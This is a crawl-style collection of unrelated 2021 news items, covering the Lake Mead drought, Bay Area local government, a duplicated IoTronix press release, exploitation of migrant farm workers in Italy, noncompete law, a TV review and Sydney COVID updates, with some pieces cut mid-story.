The monsoon rains that typically hit the Southwest during the summer never materialized last year. In Colorado, drier soil from higher-than-typical temperatures and lower air moisture has led to less melted snow draining into rivers and streams. As a result of the drought in Northern California, Los Angeles Metropolitan Water District is building up its reserves with water taken from the Colorado River, which will continue to flow uninterrupted through 2022.

But what comes next?

The Bureau of Reclamation estimates that normal snowfall in the Rockies and the Upper Basin this winter will reverse the present drought. By the end of September 2022, the agency expects the river to bring 8.3 million acre-feet of water into Lake Powell, the reservoir on the Utah-Arizona border that precedes Lake Mead.

The projection, based on soil moisture, temperatures and precipitation, is updated monthly, but currently goes against the trends of the last two years. From October 2019 to September 2020, Lake Powell received 5.8 million acre-feet, and since has received 3.2 million acre-feet.

Experts suggest that the agencys forecasts for next year are too generous: The Colorado River is over-allocated. We really cant rely on snowpack in the Rockies to refill our reservoirs and mitigate the over-allocation of the river, said Kathryn Sorensen, former director of water services in Phoenix and now with Arizona State University.

The Bureau of Reclamations optimistic forecast for Lake Powell means the agency can replenish that reservoir. But it will continue to release water from Lake Mead and predicts its elevation will fall to 1,050 feet by September 2022, five feet shy of the level where Southern California must relinquish some of its allocation of water. Further analysis by the agency gives the reservoir a 58% chance of dropping to 1,025 feet and a 21% chance of hitting 1,000 feet by 2025.

To me it is a shocking number, Sorensen said. It is one of those events that is of small probability but high consequence.

For Richins, who grew up exploring the Idaho trails along the Snake River and was a U.S. Forest Service river ranger in Montana before launching fishing tours on Lake Mead, the idea is unfathomable.

Rivers are my life, he said recently as he navigated the Las Vegas Bay, an eastern portion of the lake where towers of the Vegas Strip are visible on a clear night. Mount Charleston, the highest peak in the region, jutted out to the sky beyond the city, with the red, rocky bluffs of the Mojave Desert visible much closer. Heron, grebe and pelicans swam in front of him.

Weeks earlier, he had been in this same spot, spotting boils of striped bass  feeding frenzies made up of dozens of fish gathered near the surface.

That was a good day. The water was higher, the terrain more familiar, the catch plenty. He hauled a dozen striped bass, some up to 5 pounds, back ashore. Boats were usually plentiful in this part of the lake.

But today, his was the only one within sight. He blamed the winds that were kicking up and the searing summer sun as morning turned to afternoon. But Richins sensed something else was going on too. Maybe fewer boats were out because of the ramp closures and long lines at the ones still open. For those who wanted to fish, he wondered if they  like him  were perplexed at where to go as the water shifted.

That empty lake feeling, Richins called it, as if in mourning. It wouldnt deter him from what he loved. Hed go out on the lake again, seeking the thrill of the catch. He hoped Lake Mead wouldnt change again too much more. But he wasnt confident.

His boat pressed on through the shallows and toward the muck and mud of the expanding shore.



(Kaleem reported from Lake Mead and Curwen from Los Angeles.)
MADISON, Wis. (AP)  The Wisconsin Assembly is appealing a ruling that it violated the state open records law by refusing to release documents related to sexual harassment allegations against a former lawmaker.

The Assembly filed its notice of appeal to the June 30 ruling on Tuesday.
By Megan Munce

Bay City News Foundation

The Sonoma County Board of Supervisors voted Tuesday to appeal a ruling by the California Public Employment Relations Board that voided provisions of a voter-approved measure expanding law enforcement oversight.

Measure P, which Sonoma County voters approved in the November 2020 election, gave the Independent Office of Law Enforcement Review and Outreach a number of powers over the Sheriff's Office, such as the ability to post body-cam footage online or investigate whistleblower complaints.

Those abilities, along with others, were previously ruled unenforceable by the PERB on the grounds that the county did not meet with law enforcement unions prior to placing Measure P on the ballot. The California Meyers-Milias-Brown Act requires public agencies to meet "in good faith" with employee organizations before adopting certain rules or regulations on matters such as employee discipline.

Now the board is appealing the decision and meeting with the two organizations that filed the complaint with the PERB: the Sonoma County Deputy Sheriffs' Association and Sonoma County Law Enforcement Association. The county said the dual approach is meant to either appeal the decision or meet the PERB's required conditions for lawfully passing and enforcing the voided provisions of Measure P.

"The County feels strongly that the PERB decision is clearly erroneous as a matter of law and contrary to the public's interests," Supervisor Lynda Hopkins, chair of the Board of Supervisors, said in a statement. "We're hopeful that we will be able to complete this process in a way that preserves the integrity of the oversight infrastructure that voters approved overwhelmingly last fall and have it implemented as soon as possible."

If successful, the appeal would reinstate voided provisions of the measure that allowed the IOLERO to receive and independently investigate whistleblower complaints without notifying the Sheriff's Office, review and post body-cam footage, conduct independent investigations in certain circumstances and supervise Sheriff's Office investigations by accessing records and observing interviews.

But even without those provisions, the IOLERO still has the ability to take other oversight actions, such as reviewing databases of incident reports and recommending further investigation.

The county said in a statement that the Board of Supervisors was committed to collaborating with the DSA and SCLEA to develop mutually acceptable protocols between the IOLERO and Sheriff's Office. According to Zachery Lopes, a senior associate at Rains Lucia Stern St. Phalle & Silver, the law firm representing the DSA, the county has yet to give the DSA a formal proposal to meet and confer over.

Lopes said the DSA plans to defend its position and the PERB's decision in the appeal.

"The DSA is not against oversight," Lopes said. "We've just sought to compel the county to comply with their legal obligation to meet and confer with the union prior to doing so."

Copyright  2021 Bay City News, Inc. All rights reserved. Republication, rebroadcast or redistribution without the express written consent of Bay City News, Inc. is prohibited. Bay City News is a 24/7 news service covering the greater Bay Area.

Copyright  2021 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
By Eli Walsh

Bay City News Foundation

More than $7 billion is now available for California residents behind on their rent and utility payments after state officials approved the funding this week, Gov. Gavin Newsom said Wednesday.

The state will use $5.2 billion of the funding to pay 100 percent of outstanding rent payments that residents still owe because of lost income during the pandemic.

The remaining $2 billion will support residents who have unpaid water and utility bills. The state will also subsidize rent and utility payments for some low-income residents over the next two months.

"COVID is not taking the summer off," Newsom said during a briefing Wednesday in Southern California. "We still have a lot of work to do, so the impacts are still being felt and they're very real."

Californians have already filed more than 100,000 applications requesting more than $1 billion in rental assistance, according to state officials.

The state has also partnered with 110 local organizations to conduct outreach and ensure that all of the rent and utility relief funding is dispersed to landlords, property managers and utility providers.

Newsom proposed spending billions to fully pay off debt owed by the state's renters as part of the revised state budget proposal he released in May.

Although the state and local governments have made rent relief funds available throughout much of the pandemic, the new relief funding was included in a spending package Newsom signed Monday that also includes stimulus checks for most state residents and small business relief grants.

Newsom said the rent relief program will be especially critical for unemployed residents in the coming months, as state officials are unlikely to extend California's moratorium on pandemic-related evictions past its current Sept. 30 deadline.

"We're encouraging others that may not be aware of (the program) or may need a little bit of a push to take advantage of this program," he said.

Both landlords and renters can apply directly to the state's rent relief program and applicants will be considered regardless of immigration status.

Relief funding will be paid directly to the person or organization to whom the debt is owed. The rent and utility relief application can be found at https://housing.ca.gov/covid_rr/index.html.

Copyright  2021 Bay City News, Inc. All rights reserved. Republication, rebroadcast or redistribution without the express written consent of Bay City News, Inc. is prohibited. Bay City News is a 24/7 news service covering the greater Bay Area.

Copyright  2021 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
It starts with a sketch. From there, glass artist Ryan Johnstone cuts each piece of glass individually, grinds it, wraps it in copper foil, then assembles the bits "like a giant jigsaw puzzle."

The end product is a stunning work of stained glass.

Johnstone, who works with glass full-time, grew up in San Francisco. He now resides in Salt Lake City but says the city by the bay continues to inspire his art.

That inspiration is evident in a recent piece he crafted of the San Francisco skyline that contains more than 400 individual pieces of multicolored glass. Most of the landmarks are here: Theres the Golden Gate Bridge, Alcatraz, Sutro Tower, even the Salesforce Tower.

I wanted to capture the San Francisco I knew as a youth, and all those little stories behind the places that a casual viewer wouldnt know, Johnstone told me by phone.

Many of the landmarks of his childhood can be viewed in the refractive glass. He remembers spending hours alone at the Palace of Fine Arts, exploring its vast collection, or traipsing along foggy Ocean Beach. He even included Spreckels Lake in the glass  Because that was kind of a drinking spot in high school, he said.

From start to finish, the piece took about three weeks to finish. Its available for $1,500 on Johnstones Etsy page.

Courtesy Ryan Johnstone

Johnstones journey to glass art winds and twists, much like the streets of his beloved hometown. It all started about 20 years ago, when he took a stained glass class on a whim at the local community college.

My wife was in medical school in North Carolina at the time and she was really busy, he said. I was looking for something to do in my free time after work, so I took the class.

He made stained glass pieces for a couple of years, then hung up his tools  life, kids, work got in the way.

Then, at the onset of the COVID-19 pandemic, Johnstone cleaned out his basement and rediscovered his tools. A short while later, he decided to leave his job in the corporate world and pursue art full-time.

Courtesy Ryan Johnstone

Its been a really pleasant surprise, he said, speaking of the demand and interest in his work.

In this new chapter, stained glass has helped him reconnect with the various aspects of his personal history.

My kids are the same age as I was when I was growing up in the city, he said. Call it a midlife crisis or nostalgic thinking  it all plays a role in my art.
This story originally appeared on KCRA.

STOCKTON, Calif.  What was supposed to be an hour-long Allegiant Air flight from Las Vegas to Stockton turned into a 17-hour ordeal for dozens of passengers.

The original arrival was planned for 9 p.m. on Monday, but Jade Watts and other passengers finally landed at Stockton Airport on Tuesday at 2 p.m.

"I think everybody on the flight is very frustrated," Watts said. "There was no help given, no instructions. There was no assistance."

Allegiant said in an email to KCRA 3 that it was unable to land in Stockton "due to air traffic control's automatic surface weather reporting system failing to provide visibility information required for landing."

The Stockton Metropolitan's Deputy Director, Helene Nusdbaumer, confirmed that the airport's automated surface observing system, or ASOS visibility sensor, failed. Nusdbaumer said the airport uses this automated system when the control tower is not staffed.

The tower is usually staffed from 7 a.m. to 9 p.m., which is typically how smaller airports are operated. Nusdbaumer added that this kind of issue rarely happens.

"So we had to circle and circle and circle," Watts recalled. "Then they said we were going to go back to Las Vegas."

But then the pilot told passengers of more bad news: a thunderstorm in Las Vegas meant the plane needed to be rerouted again, Watts said.

Around midnight the plane finally touched down in Los Angeles where the exhausted gaggle of passengers waiting for answers, Watts said.

The delay also impacted passengers who were supposed to fly out of Stockton into Las Vegas on the same plane Monday night. Syowia Williams and her daughter say they were offered a refund or a new ticket.

"I was mad, because I was tired and ready to go home," Williams, who lives in Las Vegas told KCRA 3.

Williams stayed with family in Stockton while she waited for a new flight.

Watts said she and her fellow passengers were frustrated because they had no place to stay.

"There was a guy that said, 'What do we do? Do we need to find hotel rooms, are we on our own?'" Watts said. "And the gentleman said, 'Yes, as of right now, you're on your own.'"

Allegiant said that compensation was provided "to assist with unanticipated expenses."

However, Watts said there were issues with the vouchers.

"Everybody had to find hotel rooms. There were people sleeping in the airport ... older ladies just kind of walking around by themselves not sure what to do," Watts said.

KCRA 3 has also reached out to the Federal Aviation Agency for comment on the situation.
You are now listening to the sounds of the New Generation. A podcast created for those who desire a new way of gaining information rather than reading a traditional newspaper. In our show we will discuss everything from sports, pop culture, politics, and local news. To stay up to date on our latest episodes every week be sure to follow us on your favorite podcast service. And dont worry, we keep it short.
SHELTON - Monica Peterson remembers, as a child, sitting with her grandfather, listening to him tell tales of his life in Italy.

His expressive style not only kept her engaged, but also began what has become a lifelong love of storytelling. Peterson, a long-time Shelton resident, spent years as an educator. But most recently she has dedicated her time to spreading her stories, for adults and children, to all who will listen.

Painting pictures with words, thats what I strive for, said Peterson, who estimates she has told hundreds of stories in her 25 years telling tales. What I try to do, what I feel I do, allows my audience to paint pictures in their minds as I speak.

Peterson said the use of interesting words, and being expressive with her vocal tones and body language, helps people of all ages visualize the tales she tells.

The pandemic slowed her storytelling tours - forcing her to go the Zoom route - but as COVID-19 restrictions have waned, she has found places to pass on her knowledge of the areas history through her words.

Her upcoming performances include Thursday, via Zoom at 6:30 p.m., through the Derby Neck Library; July 19 at 11 a.m. at the Woodbury Senior Center; July 23 at 6:30 p.m. at Beacon Falls Library; Aug. 20 at Windsor Kidspace; and Sept. 16 at 6:30 p.m., again at Beacon Falls Library.

For adults, Peterson tells Tales of New England and historical stories of bravery, foolishness, love and a touch of the supernatural - all based on local figures. She also hosts a show titled An Evening with My Grandparents: Italian-American Family Lore, an hour of tales from the man who sparked her love of storytelling.

I tell children folk tales from around the world, traditional tales, but I have added my own twist to make them relatable to a modern audience, Peterson said.

The key to effective storytelling is effective research, according to Peterson, who also displays photos and some artifacts depending on the stories she tells. For the children, she also has props, puppets, other items to help make the stories more interactive.

For Peterson, storytelling has proven to be a success. She has entertained crowds at the JFK Presidential Library, Jamaica Performing Arts Center, The Children's Museum of the Arts in Manhattan, New Britain Museum of American Art, Connecticut DEEP Great Park Pursuit and Connecticut Storytelling Festival, in addition to telling her stories at festivals, museums, libraries, schools and senior centers throughout the area.

For children, she also performs with harpist Wendy Kerner as The Amazing Math Wizards.

In addition to her one- and two-woman shows, Peterson also conducts workshops to teach storytelling skills to children and for teachers who want to improve their students language arts proficiency.

Peterson said her first love was art, but storytelling was not considered an art form in her younger days. So she shifted to drama. As an actress, she can be seen currently in An Immigrants Story with the theatrical troupe Themselves. She has also appeared in commercial work for companies such as Pfizer Pharmaceuticals.

She also has worked as an educator, spending 15 years in the Stamford Public School System teaching gifted education, kindergarten and fifth grade. In that time, she earned the Stamford Public Schools Spotlight Award for Excellence in Teaching and the Board of Educations Staff Achievement Award.

Peterson said she uses storytelling to motivate students to write. As a result, her students have won competitions such as the Stamford Literary Competition and the Connecticut Consortium of Law and Citizenships Constitution Day Essay Contest.

I found storytelling to be an advantage, Peterson said about teaching children of all ages.

She recalled when she was a kindergarten teacher, storytelling was a major part of her teaching style. The result, she says, was the children improved their writing - in both quality and quantity. She said some students would write as many as eight pages of their own stories.

Peterson said her student storytellers have been invited to perform at the Connecticut Storytelling Festival with nationally recognized adult tellers. She has also worked with the Stratford Public School System in the area of math remediation.

This is so important for me, to be able to pass on the knowledge and values of our culture to another generation in a fun, entertaining way, Peterson said. Children, and even adults, are learning without really realizing they are learning. And it is so much fun.

brian.gioiele@hearstmediact.com
I got in my car this afternoon, and quite literally couldnt breathe. The heat this year has been stifling, to say the least, and as I drove a
Thanks to the creative talents of Phil Horn, Newburg has a new, updated Little Library. Horn is a talented wood craftsman who wanted to give b
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Employers should review their noncompete agreements and other restrictive covenants in light of a new executive order that aims to curb the use of these contracts in the workplace. The federal government has yet to issue any new rules, but employers should prepare for potential changes.

President Joe Biden recently signed an executive order that encourages the Federal Trade Commission (FTC) to ban or limit noncompete agreements. The order is meant to promote competition and economic growth by making it easier for workers to change jobs, among other objectives.

Employers generally use noncompetes to protect their proprietary information by preventing employees from working for competitors in a specific geographic area for a limited amount of time. But such agreements, particularly with low-wage earners in the retail and restaurant industries, have been scrutinized in recent years.

Carson Sullivan, an attorney with Paul Hastings in Washington, D.C., said there's a lot of debate about what the executive order means for noncompetes. "We really can't tell how broad the ban will be," she said, though she noted that the order focused on "unfair" use of noncompetes and other agreements that limit employee mobility.



"Most likely, the FTC will look to how various states have addressed the issue," noted Scott Mirsky, an attorney with Paley Rothman in Bethesda, Md. Some states, such as California, ban noncompete agreements outright, while other states, including Virginia, prohibit noncompete agreements with low-wage workers.

"Since the thrust of the executive order seems to protect the ability of lower-wage workers to obtain higher wages and better work conditions, a ban on noncompete agreements with low-wage workers may be the best approach for the FTC," Mirsky said.

What to Expect

"The [FTC] is going to take a long, hard look at noncompetes, and there is considerable momentum behind curtailing their use," said John Siegal, an attorney with BakerHostetler in New York City. "We expect the FTC will conduct a public inquiry process reviewing all of the legal, human resources and economic competitiveness issues around noncompetes, leading to a rulemaking process."

Anything the FTC does in this area will likely draw a legal challenge, he noted. "But the seriousness of such a challenge and the grounds will depend on how extensive the FTC reaches into contractual relationships between employers and employees."

Siegal said some changes may be relatively less controversial, such as requiring that employers provide noncompetes prior an employee's start date. "An outright ban on noncompetes, however, would draw considerable opposition from a wide array of industries and employers."

Don Schroeder, an attorney with Foley & Lardner in Boston, doesn't think a wholesale ban on noncompetes is likely, but he does think employers can realistically expect the government to narrow the employment categories for which such agreements can be used.

Jon Nadler, an attorney with Eckert Seamans Cherin & Mellott in Philadelphia, noted, "Regardless of the eventual outcome of the FTC rulemaking process, the fact that the president is highlighting the issue is likely to spur additional restrictions through legislation at the state level, which have been increasing steadily in recent years."

Michael Wexler, an attorney with Seyfarth in Chicago, expects legal challenges if the FTC attempts to make rules that will affect state autonomy or protections for business intellectual capital. "Because no rules have yet been promulgated, there is nothing a business should do other than make sure agreements and policies currently in place are up-to-date and comply with the law," he said.

Remember to Check State Law

As employers await direction from the federal government, they should note that the enforceability of noncompete agreements is generally evaluated under state laws. And those laws vary significantly.

"It's really important for employers to make sure they are aware of the applicable state laws," Schroeder said.

California, North Dakota and Oklahoma have banned noncompete agreements in most circumstances, and a new law in Washington, D.C., will also ban the use of such agreements, with some exceptions.

Nearly a dozen other states prohibit noncompetes with low-wage earners or hourly workers. Massachusetts bans noncompetes for certain professionals, such as nurses, physicians, social workers and employees in the broadcasting industry.

Additionally, in some states, an otherwise valid agreement may not be enforceable if the employee was laid off.

[Want to learn more? Join us at the SHRM Annual Conference & Expo 2021, taking place Sept. 9-12 in Las Vegas and virtually.]

Even where noncompetes are banned, employers may be able to use other so-called restrictive covenants that protect trade secrets and confidential information.

A nonsolicitation agreement, for example, may prohibit former employees from soliciting a company's clients after their employment ends. Employers in states such as California, however, should note that limits apply to these agreements, too.

Many states disfavor restrictive covenants but will allow their use if:

There is a legitimate business interest that needs to be protected (such as trade secrets or customer lists).

The agreement is narrowly tailored to protect that interest.

Employers also may consider using nondisclosure or confidentiality agreements to protect their trade secrets and proprietary information.

Tips for Employers

Employers should take this opportunity to review their processes for protecting confidential information and trade secrets, Sullivan said. There are many legitimate reasons why businesses choose to use restrictive covenants, she explained, and they should identify what their agreements restrict and which groups of employees are covered. Broader agreements may need to be revised.

To stay ahead of the curve, Nadler said, employers should reassess whether noncompete agreements are needed or whether legitimate concerns about protecting confidential information for certain employees can be addressed through other means, such as nonsolicitation agreements, which are more likely to survive scrutiny.

Siegal urged employers to keep up with changes. "The prospect of federal action on noncompetes makes it exponentially more important for employers to do what we've always advised them to do: Make sure you're using noncompetes in a targeted and narrowly tailored way to protect truly legitimate trade secrets and customer goodwill."


About 6 years ago, the Honourable Prime Minister of India, Shri Narendra Modi initiated the 'Make In India'. Less than a year later, IoTronix, a firm envisioned to revolutionize the automation industry, launched its first generation of IoT devices that demonstrated exceptional capabilities in terms of efficiency, security and cost effectiveness. Fast forward 4 years into the present, IoTronix has made unbelievable progress towards a 'Digital India' by being a pioneer in the field of engineering and technology, making massive breakthroughs with revolutionary technologies and concepts. Taking over newer challenges and facing critical complexities, IoTronix has always found newer ways to overcome impossibilities.

With the future of energy mostly oriented towards being electric, there arises an obligatory responsibility to boost its usage efficiency. Doing so is next to impossible, with current devices and equipment. IoTronix has however spearheaded the development of robust IoT devices that are efficient, secure and far more reliable than the conventional devices of today. These IoT-enabled devices, besides being vastly energy conservant, can also be controlled with just a click on the smartphone, from anywhere on the globe. IoTronix's services drive deeper than just connecting devices. With its innovative business method set on hardware-as-a-service (HAAS), it has revolutionized the futuristic idea of automated smart homes and smart hotels into a reality. Talking on the core challenges of the automation industry still remains the driving force of the company. Offering security, privacy and reliability like no other, IoTronix has cemented its place as one of the nation's leading IoT service provider with its proven capabilities. A step ahead of others in ensuring user security, IoTronix has, in the opening of 2020, brought forth its 4th generation of IoT devices with the world's first 'Cloudless Technology'; a concept applying ultra-privacy by not storing any user data on the cloud, thus making the system foolproof against security threats.

Keen to the nation's mantra of economic revitalization through 'Make in India' and 'Aatmanirbhar Bharat', IoTronix has taken its most ambitious and boldest step by establishing the largest IoT manufacturing facility in the country. The facility was initiated on 21st June, 2021 in the presence of Shri Mukut Bihari Verma, Honorable Cabinet Minister, Government of Uttar Pradesh.Set deep into the rural areas at the Indo-Nepal border, this immensely sprawling campus of over a hundred thousand square feet is a hub of industry leading technologies. As a symbol of commitment by IoTronix towards rural development, this facility is likely to create thousands of jobs over the next few years, thus supporting the local economy and local infrastructure.

By providing internship to the schools and colleges, IoTronix objectives at training students in industry-demanding skills and technologies for the future. IoTronix is also poised on driving the entrepreneurial development in country areas by encouraging more businesses, creating more jobs and thereby assisting in overall national economic growth and development.

About 6 years ago, the Honourable Prime Minister of India, Shri Narendra Modi initiated the 'Make In India'. Less than a year later, IoTronix, a firm envisioned to revolutionize the automation industry, launched its first generation of IoT devices that demonstrated exceptional capabilities in terms of efficiency, security and cost effectiveness. Fast forward 4 years into the present, IoTronix has made unbelievable progress towards a 'Digital India' by being a pioneer in the field of engineering and technology, making massive breakthroughs with revolutionary technologies and concepts. Taking over newer challenges and facing critical complexities, IoTronix has always found newer ways to overcome impossibilities.

With the future of energy mostly oriented towards being electric, there arises an obligatory responsibility to boost its usage efficiency. Doing so is next to impossible, with current devices and equipment. IoTronix has however spearheaded the development of robust IoT devices that are efficient, secure and far more reliable than the conventional devices of today. These IoT-enabled devices, besides being vastly energy conservant, can also be controlled with just a click on the smartphone, from anywhere on the globe. IoTronix's services drive deeper than just connecting devices. With its innovative business method set on hardware-as-a-service (HAAS), it has revolutionized the futuristic idea of automated smart homes and smart hotels into a reality. Talking on the core challenges of the automation industry still remains the driving force of the company. Offering security, privacy and reliability like no other, IoTronix has cemented its place as one of the nation's leading IoT service provider with its proven capabilities. A step ahead of others in ensuring user security, IoTronix has, in the opening of 2020, brought forth its 4th generation of IoT devices with the world's first 'Cloudless Technology'; a concept applying ultra-privacy by not storing any user data on the cloud, thus making the system foolproof against security threats.

Keen to the nation's mantra of economic revitalization through 'Make in India' and 'Aatmanirbhar Bharat', IoTronix has taken its most ambitious and boldest step by establishing the largest IoT manufacturing facility in the country. The facility was initiated on 21st June, 2021 in the presence of Shri Mukut Bihari Verma, Honorable Cabinet Minister, Government of Uttar Pradesh.Set deep into the rural areas at the Indo-Nepal border, this immensely sprawling campus of over a hundred thousand square feet is a hub of industry leading technologies. As a symbol of commitment by IoTronix towards rural development, this facility is likely to create thousands of jobs over the next few years, thus supporting the local economy and local infrastructure.

By providing internship to the schools and colleges, IoTronix objectives at training students in industry-demanding skills and technologies for the future. IoTronix is also poised on driving the entrepreneurial development in country areas by encouraging more businesses, creating more jobs and thereby assisting in overall national economic growth and development.
By Alvise ARMELLINI

SABAUDIA, Italy (AFP) -- When Balbir Singh refers to his ordeal, he uses the Italian word "macello", which roughly translates as "mess" -- but it is hardly enough to convey what the migrant Indian farm worker has endured.

For six years, he lived in what can only be described as slave-like conditions tending cattle in the province of Latina, a rural area south of Rome that is home to tens of thousands of Indian migrant workers like him.

"I was working 12-13 hours a day, including Sundays, with no holidays, no rest," Singh told AFP.

The farm owner paid him 100 to 150 euros ($120 to $175) a month, he said, which amounts to less than 50 cents an hour.

The legal minimum for farm workers is around 10 euros an hour.

Singh was rescued by a police raid on March 17, 2017 after appealing for help via Facebook and WhatsApp to local Indian community leaders and an Italian rights activist.

Officers found him living in a caravan, with no gas, hot water or electricity, and eating the leftovers that his boss either threw in the bin or gave to chickens and pigs.

Singh had to wash in the stables, with the same hosepipe he used to clean cattle, and it was made clear to him he should not complain.

"When I found a lawyer ready to help me, (the owner) told me... 'I'll kill you, I'll dig a hole, throw you in it, and fill it up'... he had a gun, I saw it," he recalled.

Singh said he was beaten up a couple of times, and had his identity papers taken away.

His former employer is now on trial for labour exploitation, while Singh is living in a secret location for fear of retribution.

Brutal exploitation

Singh's story is extreme, but it fits into a wider picture of brutal exploitation of migrant farm labourers in the Agro Pontino -- the Pontine Marshes, the plain around Latina -- and elsewhere in Italy.

The UN's special rapporteur on contemporary forms of slavery estimated in 2018 that more than 400,000 agricultural workers in Italy risk being exploited and almost 100,000 likely face "inhumane conditions".

Last month, a 27-year-old from Mali collapsed and died in the southeastern Apulia region after working a day in the fields in temperatures of up to 40 degrees Celsius (104 degrees Fahrenheit).

In the Agro Pontino, a major hub for greenhouse farming, floriculture and buffalo mozzarella production, Indians have been a presence since the mid-1980s.

They work on land drained from marshes in the 1930s, one of the biggest public works projects enacted under dictator Benito Mussolini.

Sociologist Marco Omizzolo, the rights activist who helped free Singh, says between 25,000 and 30,000 Indians live in the Agro Pontino, mostly Sikhs from the Punjab region.

Under an illegal but well-established system, they live under the thumb of "caporali", the gangmasters who recruit farm labourers on behalf of land owners.

Typically, they are offered contracts but then are paid for only a fraction of their work.

"You may work 28 days, but they'll mark only four on your pay slip, so at the end of the month you may get 200, 300 euros," Omizzolo told AFP.

"Formally, it is all by the book," he added.

The reality is far grimmer, as shown by a recent police investigation that offered fresh evidence of widespread opioid abuse among the Indian community.

That operation led to the arrest of a doctor in the beach town of Sabaudia. He was accused of illegally prescribing more than 1,500 boxes of Depalgos, a powerful painkiller containing Oxycodone and given to cancer patients, to 222 Indian farm workers.

"The drug presumably allowed them to work longer in the fields by relieving pain and fatigue," Latina chief prosecutor Giuseppe De Falco told AFP.

'Fight for rights'

The problem of exploitation of farm workers has not gone unnoticed in parliament. It was under an anti-caporali law passed in 2016 that Singh's employer was prosecuted.

ut unions say there are still too few checks and labour inspectors to enforce the law properly.

Sociologist Omizzolo, who works with the Eurispes think tank, spent years researching farm labour abuse in the Latina area -- some of it undercover.

He lived for three months in Bella Farnia, a village mostly occupied by Indians, working incognito in the fields.

He, too, now lives under police protection, after several death threats.

In 2019, he was given a knighthood by President Sergio Mattarella in recognition of his "courageous work".

In 2016, the sociologist was instrumental, along with the Flai Cgil trade union, in organising the first-ever strike of the Agro Pontino's Indian workers.

Since then, their hourly pay has risen from three euros or less per hour to around five euros -- although this is still only half the legal minimum.Omizzolo recognises the working conditions are still far from ideal. But the protest, he said, made the Indians understand that "it pays to fight for your rights."
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Days after he was indicted on charges including grand larceny and tax fraud, Allen Weisselberg was spotted driving into the Trump Organisations gleaming Fifth Avenue headquarters, dutifully reporting for work as he has for the last four decades.

While it looked like business as usual, the Trump Organisation had already started excising its chief financial officer from a myriad of its businesses across the country where he was a director or executive. Dozens of entities tied to the company, from the Mar-a-Lago resort to a Scottish golf course, scrubbed Weisselbergs name from documents.

The president's sons, Donald Jr (left) and Eric are executives in the Trump Organisation. Credit:AP

The move sidelines the most important person not named Trump at the New York-based organisation, leaving the business  at least on paper  more firmly in the hands of the ex-US presidents sons Donald Trump Jr. and Eric Trump.

It comes at a precarious time for the Trump Organisation, which along with Weisselberg was charged with 15 felony counts in New York. The real estate company is attempting to sell properties including its Washington hotel and navigate more than $US590 million ($789 million) of debt that comes due in the next four years. More than half of that is personally guaranteed by Donald Trump.
First published in the Sydney Morning Herald on July 16, 1981.

Dancers of the Australian Ballet cancelled a performance of The Three Musketeers in Brisbane last night and went on an indefinite strike.

Cancelled ... A union official addresses the ballet company in Brisbane last night.

The strike follows a letter from the chairman Mr Peter Bahen to the companys nine principal dancers on Tuesday informing them that in 1982 they would be offered positions not as principals but as soloists.

Talks between Mr Bahen and Actors Equity broke down in Sydney late yesterday afternoon after Mr Bahen refused to withdraw the letter.
Like Downton, Belgravia is enhanced by Fellowes gift for plotting. He not only devises busy, generously populated stories, but he also moves them along at a quick clip. His dramas, often involving ambition, thwarted passions and battles over inheritance, might resemble soap opera, but he eschews the stilted pace customarily associated with that form. The result is a bustling style of storytelling.

The six-part Belgravia, adapted from his 2016 novel, is set in comparable territory, although its more like Downtons darker cousin. This time the drama is framed by grief and regret, and a sadness runs through it.

As the creator and writer of six seasons of Downton Abbey and its feature-film sequel, Julian Fellowes has already demonstrated his skill at evoking the lives of titled English families and their servants. Hes right at home in a world of upstairs-downstairs proprieties and politics, loaded with corsets, carriages and gala balls.

The opening of Belgravia is an apt illustration. It begins in Brussels in 1815 on the eve of the Battle of Waterloo, with the Duchess of Richmond (Diana Kent) hosting a ball. Resourceful merchant James Trenchard (Philip Glenister), nicknamed The Magician for his ability to provide supplies for the army, has encouraged his daughter, Sophia (Emily Reid), to inveigle an invitation to the gala for his family. He sees it as a useful networking opportunity although his wife, Anne (Tamsin Greig), is privately embarrassed by his social climbing. The event is interrupted when English troops are ordered into action, including Sophias love, Lord Edmund Bellasis (Jeremy Neumark Jones), the son of the Earl of Brockenhurst (Tom Wilkinson).

The story then leaps 26 years and moves to London. Trenchard, whos now involved in property development, has been instrumental in building the sought-after new suburb of the series title, which has become a desirable destination for the upper class and the wealthy. Tragedy has befallen the Trenchard and Brockenhurst families, linking them in ways of which few are fully aware. Now Fellowes turns his attention to a tale of two households and the machinations of high society.

Anne Trenchard (Tamsin Greig), the wife of a newly rich merchant, find her life entwined in unexpected ways with the monied aristocracy in Belgravia. Credit:BBC

Unlike Downton, Belgravia allows little loyalty or honour among the servants. Here, theyre nastily gossipy, sneaky and self-serving: stealing food from the household kitchens and reselling it, and amenable to bribery when information about their employers is sought. Instead of the impeccably proper Mr Carson (Jim Carter) keeping a paternal eye and firm hand on proceedings, the Trenchards have the shifty Turton (Paul Ritter) and bitter ladys maid Ellis (Saskia Reeves).

Fellowes tale also opens out to involve a range of related characters and the air is rife with resentment, mainly from family members who feel hard done by. There are buried secrets, gambling addictions, hidden heirs and infidelities. There are tensions between the emerging merchant class and the titled families that need an infusion of their cash to keep up appearances. There are good matches to be made.
Calls to NSW Lifelines 13 11 14 help line have risen 27 per cent since the Sydney lockdown began with its chairman John Brogden saying it was hitting people much harder than last year.

We all thought we got through this. It is a bit like someones cancer has come back, he said.

John Brogden, chief executive of Lifeline Australia, has welcomed the new lockdown lifeline funding of $17.5 million from federal and state governments to support people who are struggling in the current NSW lockdown. Credit:Edwina Pickles

Across Australia, the NSW lockdown is also having a ripple effect. It has resulted in an average of more than 3000 calls a day in July compared to 2730 calls at the same time last year, and 2400 calls a day at the same time in 2019 before the pandemic began.

It is tougher this time, it came on quicker and it got worse faster, said Mr Brogden, Lifeline national chairman and a former NSW politician.
NSW Chief Health Officer Kerry Chant said there were now 71 COVID-19 patients in Sydneys hospitals, the highest number so far during this outbreak. Of these cases, 20 are in ICU. One of the ICU patients is in their 20s, two are in their 30s, two are in their 40s, five are in their 50s, five are in their 60s, three are in their 70s and two are in their 80s. The reason I take the time to read out those age profiles, it really is to dispel the misconception that COVID is mild and does not affect younger age groups, Dr Chant said. Yes, it is less likely to lead to hospitalisations in younger age groups, but it still can be a serious illness admission to ICU so its important to keep ourselves and loved ones safe.

